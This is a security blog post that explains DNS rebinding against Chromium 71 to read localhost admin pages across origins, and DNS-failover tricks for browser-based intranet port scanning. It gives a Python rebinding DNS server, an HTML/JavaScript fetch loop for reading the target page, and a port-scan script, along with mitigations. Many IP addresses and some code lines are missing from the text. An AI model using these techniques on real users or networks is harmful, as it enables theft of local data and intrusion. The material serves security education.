Abusing DNS: Browser-based port scanning and DNS rebinding

7 minute read

In this article, I will explain how to use DNS rebinding to read cross-site content. The second part is to utilize DNS fallback mechanism to perform port-scanning in local network. Both of the two attack only require the victim to click the link to the evil website.

DNS Rebinding: Bypass Same-origin Policy

We all know Same-origin policy is a basic security concept in browsers. Thus, even if a user visits my website example.com, I still cannot use iFrame to steal his/her YouTube (youtube.com) browsing history. By default the browser will block reading from cross-origin websites.

However, behind the domain name lies an IP address. example.com resolves to, while youtube.com resolves to Here is the cool idea: what if the domain name doesn’t violate same-origin policy, but in fact it’s fetching content from

  1. The victim browses my evil website example.com, which resolves to my IP address
  2. The victim fetches contents from example.com/account/information, but this time the domain resolves to
  3. Because this request does not violate same-origin policy, I can read the content and send it to my log server.

Pwn! However, of course, youtube.com is not vulnerable to this attack. For mitigation and limitation of DNS rebinding, please refer to mitigation.

Attack Scenario

So consider this scenario: you have a admin interface listening on You think it doesn’t need password protection because it can only be accessed through localhost. Assume some sensitive information just lies on the page We will then bypass same-origin policy and try to steal the information from the page. The scenario is rather practical. Here is a real-world example.

We assume the victim uses Chromium 71 and clicks our evil website example.com:8080 which resolves to

Unfortunately it’s not so straightforward to perform DNS rebinding. Due to the DNS cache mechanism, when the domain first resolves to (my evil website), the browser will cache it and not query the DNS address again.

To bypass this limitation, we set up our DNS server to return Multiple A records.

example.com.	0	IN	A
example.com.	0	IN	A

When the DNS server response contains multiple A records, Chromium will resolve to first and try to connect. If cannot be reached (connection refused/no route to host), it will then use another IP address as the fallback.

Note that Chromium does NOT always resolve to first. There is possibility that Chromium resolves it to (localhost). Simply try it again. is the trick here. We cannot use here because in Chrome it will always resolve to first. It will be impossible to make the victim connect to our evil website. However, when using and, Chrome will resolve to first.

Therefore, the victim clicks example.com. Chromium will resolve it to Here is the html in the evil website.

<!doctype html>
  var readContent = function() {
    fetch("//example.com:8080/account/information").then(r => r.text()).then(t => console.log(t));
  setInterval(readContent, 1000);

However, as I said Chromium will cache the IP address of example.com, this will never fetch the content from Therefore what we do is to shut down my webserver at Due to the DNS fallback mechanism (connection refused), Chromium will fetch the content from We are still conform the same-origin policy so we can read the content!

The proof-of-concept works on Chromium 71. For some sophisticated PoC, please refer to singularity.


Nevertheless there is some limitation of this attack. The website developer can take advantages of them to prevent their site from being attacked.

  • No cookies: Only the IP address resolves to the target website. The browser will not send any cookie of it.
  • Validate HTTP Host header: If the target website validates the HTTP Host header, it’s not vulnerable. Because the host is example.com:8080.
  • HTTPS: The domain name is not correct. The browser will abort the TLS connection.

Simple DNS Rebinding Server in Python3

#!/usr/bin/env python3
# Python 3.6.4
# dnslib==0.9.7
from dnslib.server import DNSServer, DNSLogger, DNSRecord, RR
import time
import sys

class TestResolver:
    def resolve(self,request,handler):
        q_name = str(request.q.get_qname())
        print('[<-] ' + q_name)
        reply = request.reply()
        reply.add_answer(*RR.fromZone(q_name + " 0 A"))
        reply.add_answer(*RR.fromZone(q_name + " 0 A"))
        return reply
logger = DNSLogger(prefix=False)
resolver = TestResolver()
server = DNSServer(resolver,port=53,address="",logger=logger)
    while True:
except KeyboardInterrupt:

Abuse DNS Failover for Port Scanning

Do you notice that the DNS failover behavior is very interesting? In this part I’ll talk about how to abuse this mechanism to perform intranet port-scanning.

The idea is pretty straightforward. If the DNS response is like this:

example.com.	0	IN	A
example.com.	0	IN	A

Because Chromium will always resolve to first, Chromium will try to connect only if it fails to connect Thus, we can leverage this fact to detect a port is opened or not.

Launch The Attack

The evil browser-based port-scanning script:

<!doctype html>
  <div id="images">
  var images = document.getElementById("images");
  for (let port = 13337; port < 13340; port++) {
    let img = document.createElement("img");
    img.src = `//example.com:${port}`;

We listening port 13337 - 13340 in our server If the port receives connection, it means the port in localhost is closed.

In order to scanning intranet, we want to know the private IP address of the victim. The HTML5 WebRTC can be used to leak the private IP address of the victim. Here is a PoC. HTML5 seems to have too many features, which can be easily abused…..

There are other approaches to perform port-scanning. Skylined uses timing attack based on WebRTC+XHR. Gareth Heyes uses iframes with some tricks to detect if the connection is refused.


I’m always wondering: what will happen to me after clicking an innocuous link, even if I don’t provide anything?

  1. Scanning my home network
  2. Find my IoT device web portal and Wifi admin interface in
  3. Send a malicious request to control the IoT device. For example, unlock the door.
  4. ……

Okay it’s a little exaggerated, but it sounds possible, isn’t it? Next time remember to think twice before clicking a link.